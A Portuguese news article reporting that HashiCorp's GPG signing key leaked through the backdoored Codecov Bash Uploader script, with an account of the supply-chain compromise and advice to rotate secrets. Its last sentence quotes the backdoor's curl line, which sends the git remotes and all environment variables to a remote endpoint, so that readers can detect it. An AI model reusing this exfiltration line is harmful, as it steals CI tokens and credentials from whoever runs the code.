A empresa HashiCorp, conhecida pelo desenvolvimento de ferramentas open-source como Vagrant, Packer, Nomad e Terraform, anunciou a vazamento de uma chave GPG secreta, utilizada para criar assinaturas digitais que verificam lançamentos. Os atacantes, que obtiveram acesso à chave GPG, potencialmente poderiam fazer modificações ocultas nos produtos da HashiCorp, certificando-as com uma assinatura digital válida. Contudo, a empresa afirmou que uma auditoria realizada não encontrou vestígios de tentativas de tais modificações.
Atualmente, a chave GPG comprometida foi revogada e um novo chave foi implementada. O problema afetou apenas a verificação através dos arquivos SHA256SUM e SHA256SUM.sig, e não impactou a formação de assinaturas digitais para pacotes Linux DEB e RPM, fornecidos através de releases.hashicorp.com, assim como os mecanismos de confirmação de lançamentos para macOS e Windows (AuthentiCode).
O vazamento ocorreu devido ao uso de um script Codecov Bash Uploader (codecov-bash) na infraestrutura, destinado a carregar relatórios de cobertura de sistemas de integração contínua. Durante um ataque à empresa Codecov, um backdoor foi inserido de forma oculta nesse script, através do qual foram enviadas senhas e chaves de criptografia para servidor atacantes.
Para realizar a invasão, os atacantes exploraram uma vulnerabilidade no processo de criação da imagem Docker do Codecov, que permitiu acessar os dados para acesso ao GCS (Google Cloud Storage), necessários para realizar modificações no script Bash Uploader, que era distribuído pelo site codecov.io. As alterações foram feitas ainda em 31 de janeiro, e permaneceram despercebidas por dois meses, permitindo que os criminosos extraíssem informações armazenadas em ambientes de sistemas de integração contínua dos clientes. Com o código malicioso adicionado, os invasores puderam acessar informações sobre o repositório Git em teste e todas as variáveis de ambiente, incluindo tokens, chaves de criptografia e senhas transmitidas para os sistemas de integração contínua para garantir acesso ao código dos aplicativos, repositórios e serviços, como Amazon Web Services e GitHub.
Além da chamada direta, o script Codecov Bash Uploader foi utilizado em outras ferramentas de upload, como Codecov-action (Github), Codecov-circleci-orb e Codecov-bitrise-step, cujos usuários também estão sujeitos ao problema. Todos os usuários do codecov-bash e produtos relacionados são recomendados a auditar suas infraestruturas e também a alterar senhas e chaves de criptografia. Para verificar a presença de um backdoor no script, procure a presença da linha curl -sm 0.5 -d "$(git remote -v)<<<< ENV $(env)" http:///upload/v2 || true
Fonte: opennet.ru
